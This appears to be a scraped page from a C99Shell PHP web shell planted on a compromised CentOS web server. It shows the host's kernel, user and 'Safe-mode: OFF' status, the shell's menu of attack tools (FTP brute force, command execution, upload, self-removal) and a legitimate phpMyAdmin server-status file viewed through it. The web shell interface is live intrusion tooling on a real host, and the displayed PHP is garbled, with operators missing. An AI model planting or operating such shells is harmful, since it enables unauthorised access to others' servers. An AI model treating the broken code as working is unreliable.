!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/libraries/   drwxr-xr-x
Free 9.28 GB of 93.48 GB (9.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     server_status.lib.php (9.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */

/**
 * functions for displaying server status
 *
 * @usedby  server_status.php
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * Prints server status information: processes, connections and traffic
 *
 * @param PMA_ServerStatusData $ServerStatusData Server status data
 *
 * @return string
 */
function PMA_getHtmlForServerStatus($ServerStatusData)
{
    
//display the server state General Information
    
$retval  PMA_getHtmlForServerStateGeneralInfo($ServerStatusData);

    
//display the server state traffic information
    
$retval .= PMA_getHtmlForServerStateTraffic($ServerStatusData);

    
//display the server state connection information
    
$retval .= PMA_getHtmlForServerStateConnections($ServerStatusData);

    return 
$retval;
}

/**
 * Prints server state General information
 *
 * @param PMA_ServerStatusData $ServerStatusData Server status data
 *
 * @return string
 */
function PMA_getHtmlForServerStateGeneralInfo($ServerStatusData)
{
    
$start_time $GLOBALS['dbi']->fetchValue(
        
'SELECT UNIX_TIMESTAMP() - ' $ServerStatusData->status['Uptime']
    );

    
$retval  '<h3>';
    
$bytes_received $ServerStatusData->status['Bytes_received'];
    
$bytes_sent $ServerStatusData->status['Bytes_sent'];
    
$retval .= sprintf(
        
__('Network traffic since startup: %s'),
        
implode(
            
' ',
            
PMA_Util::formatByteDown(
                
$bytes_received $bytes_sent,
                
3,
                
1
            
)
        )
    );
    
$retval .= '</h3>';
    
$retval .= '<p>';
    
$retval .= sprintf(
        
__('This MySQL server has been running for %1$s. It started up on %2$s.'),
        
PMA_Util::timespanFormat($ServerStatusData->status['Uptime']),
        
PMA_Util::localisedDate($start_time)
    ) . 
"\n";
    
$retval .= '</p>';

    if (
$GLOBALS['replication_info']['master']['status']
        || 
$GLOBALS['replication_info']['slave']['status']
    ) {
        
$retval .= '<p class="notice">';
        if (
$GLOBALS['replication_info']['master']['status']
            && 
$GLOBALS['replication_info']['slave']['status']
        ) {
            
$retval .= __(
                
'This MySQL server works as <b>master</b> and '
                
'<b>slave</b> in <b>replication</b> process.'
            
);
        } elseif (
$GLOBALS['replication_info']['master']['status']) {
            
$retval .= __(
                
'This MySQL server works as <b>master</b> '
                
'in <b>replication</b> process.'
            
);
        } elseif (
$GLOBALS['replication_info']['slave']['status']) {
            
$retval .= __(
                
'This MySQL server works as <b>slave</b> '
                
'in <b>replication</b> process.'
            
);
        }
        
$retval .= '</p>';
    }

    
/*
     * if the server works as master or slave in replication process,
     * display useful information
     */
    
if ($GLOBALS['replication_info']['master']['status']
        || 
$GLOBALS['replication_info']['slave']['status']
    ) {
        
$retval .= '<hr class="clearfloat" />';
        
$retval .= '<h3><a name="replication">';
        
$retval .= __('Replication status');
        
$retval .= '</a></h3>';
        foreach (
$GLOBALS['replication_types'] as $type) {
            if (isset(
$GLOBALS['replication_info'][$type]['status'])
                && 
$GLOBALS['replication_info'][$type]['status']
            ) {
                
$retval .= PMA_getHtmlForReplicationStatusTable($type);
            }
        }
    }

    return 
$retval;
}

/**
 * Prints server state traffic information
 *
 * @param PMA_ServerStatusData $ServerStatusData Server status data
 *
 * @return string
 */
function PMA_getHtmlForServerStateTraffic($ServerStatusData)
{
    
$hour_factor    3600 $ServerStatusData->status['Uptime'];
    
$retval  '<table id="serverstatustraffic" class="data noclick">';
    
$retval .= '<thead>';
    
$retval .= '<tr>';
    
$retval .= '<th colspan="2">';
    
$retval .= __('Traffic') . '&nbsp;';
    
$retval .=  PMA_Util::showHint(
        
__(
            
'On a busy server, the byte counters may overrun, so those statistics '
            
'as reported by the MySQL server may be incorrect.'
        
)
    );
    
$retval .= '</th>';
    
$retval .= '<th>&oslash; ' __('per hour') . '</th>';
    
$retval .= '</tr>';
    
$retval .= '</thead>';
    
$retval .= '<tbody>';
    
$retval .= '<tr class="odd">';
    
$retval .= '<th class="name">' __('Received') . '</th>';
    
$retval .= '<td class="value">';
    
$retval .= implode(
        
' ',
        
PMA_Util::formatByteDown(
            
$ServerStatusData->status['Bytes_received'], 31
        
)
    );
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$retval .= implode(
        
' ',
        
PMA_Util::formatByteDown(
            
$ServerStatusData->status['Bytes_received'] * $hour_factor31
        
)
    );
    
$retval .= '</td>';
    
$retval .= '</tr>';
    
$retval .= '<tr class="even">';
    
$retval .= '<th class="name">' __('Sent') . '</th>';
    
$retval .= '<td class="value">';
    
$retval .= implode(
        
' ',
        
PMA_Util::formatByteDown(
            
$ServerStatusData->status['Bytes_sent'], 31
        
)
    );
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$retval .= implode(
        
' ',
        
PMA_Util::formatByteDown(
            
$ServerStatusData->status['Bytes_sent'] * $hour_factor31
        
)
    );
    
$retval .= '</td>';
    
$retval .= '</tr>';
    
$retval .= '<tr class="odd">';
    
$retval .= '<th class="name">' __('Total') . '</th>';
    
$retval .= '<td class="value">';
    
$bytes_received $ServerStatusData->status['Bytes_received'];
    
$bytes_sent $ServerStatusData->status['Bytes_sent'];
    
$retval .= implode(
        
' ',
        
PMA_Util::formatByteDown(
            
$bytes_received $bytes_sent31
        
)
    );
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$bytes_received $ServerStatusData->status['Bytes_received'];
    
$bytes_sent $ServerStatusData->status['Bytes_sent'];
    
$retval .= implode(
        
' ',
        
PMA_Util::formatByteDown(
            (
$bytes_received $bytes_sent) * $hour_factor31
        
)
    );
    
$retval .= '</td>';
    
$retval .= '</tr>';
    
$retval .= '</tbody>';
    
$retval .= '</table>';
    return 
$retval;
}

/**
 * Prints server state connections information
 *
 * @param PMA_ServerStatusData $ServerStatusData Server status data
 *
 * @return string
 */
function PMA_getHtmlForServerStateConnections($ServerStatusData)
{
    
$hour_factor    3600 $ServerStatusData->status['Uptime'];
    
$retval  '<table id="serverstatusconnections" class="data noclick">';
    
$retval .= '<thead>';
    
$retval .= '<tr>';
    
$retval .= '<th colspan="2">' __('Connections') . '</th>';
    
$retval .= '<th>&oslash; ' __('per hour') . '</th>';
    
$retval .= '<th>%</th>';
    
$retval .= '</tr>';
    
$retval .= '</thead>';
    
$retval .= '<tbody>';
    
$retval .= '<tr class="odd">';
    
$retval .= '<th class="name">' __('max. concurrent connections') . '</th>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Max_used_connections'], 0
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">--- </td>';
    
$retval .= '<td class="value">--- </td>';
    
$retval .= '</tr>';
    
$retval .= '<tr class="even">';
    
$retval .= '<th class="name">' __('Failed attempts') . '</th>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Aborted_connects'], 41true
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Aborted_connects'] * $hour_factor42true
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    if (
$ServerStatusData->status['Connections'] > 0) {
        
$abortNum $ServerStatusData->status['Aborted_connects'];
        
$connectNum $ServerStatusData->status['Connections'];

        
$retval .= PMA_Util::formatNumber(
            
$abortNum 100 $connectNum,
            
02true
        
);
        
$retval .= '%';
    } else {
        
$retval .= '--- ';
    }
    
$retval .= '</td>';
    
$retval .= '</tr>';
    
$retval .= '<tr class="odd">';
    
$retval .= '<th class="name">' __('Aborted') . '</th>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Aborted_clients'], 41true
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Aborted_clients'] * $hour_factor42true
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    if (
$ServerStatusData->status['Connections'] > 0) {
        
$abortNum $ServerStatusData->status['Aborted_clients'];
        
$connectNum $ServerStatusData->status['Connections'];

        
$retval .= PMA_Util::formatNumber(
            
$abortNum 100 $connectNum,
            
02true
        
);
        
$retval .= '%';
    } else {
        
$retval .= '--- ';
    }
    
$retval .= '</td>';
    
$retval .= '</tr>';
    
$retval .= '<tr class="even">';
    
$retval .= '<th class="name">' __('Total') . '</th>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Connections'], 40
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(
        
$ServerStatusData->status['Connections'] * $hour_factor42
    
);
    
$retval .= '</td>';
    
$retval .= '<td class="value">';
    
$retval .= PMA_Util::formatNumber(10002);
    
$retval .= '%</td>';
    
$retval .= '</tr>';
    
$retval .= '</tbody>';
    
$retval .= '</table>';

    return 
$retval;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.006 ]--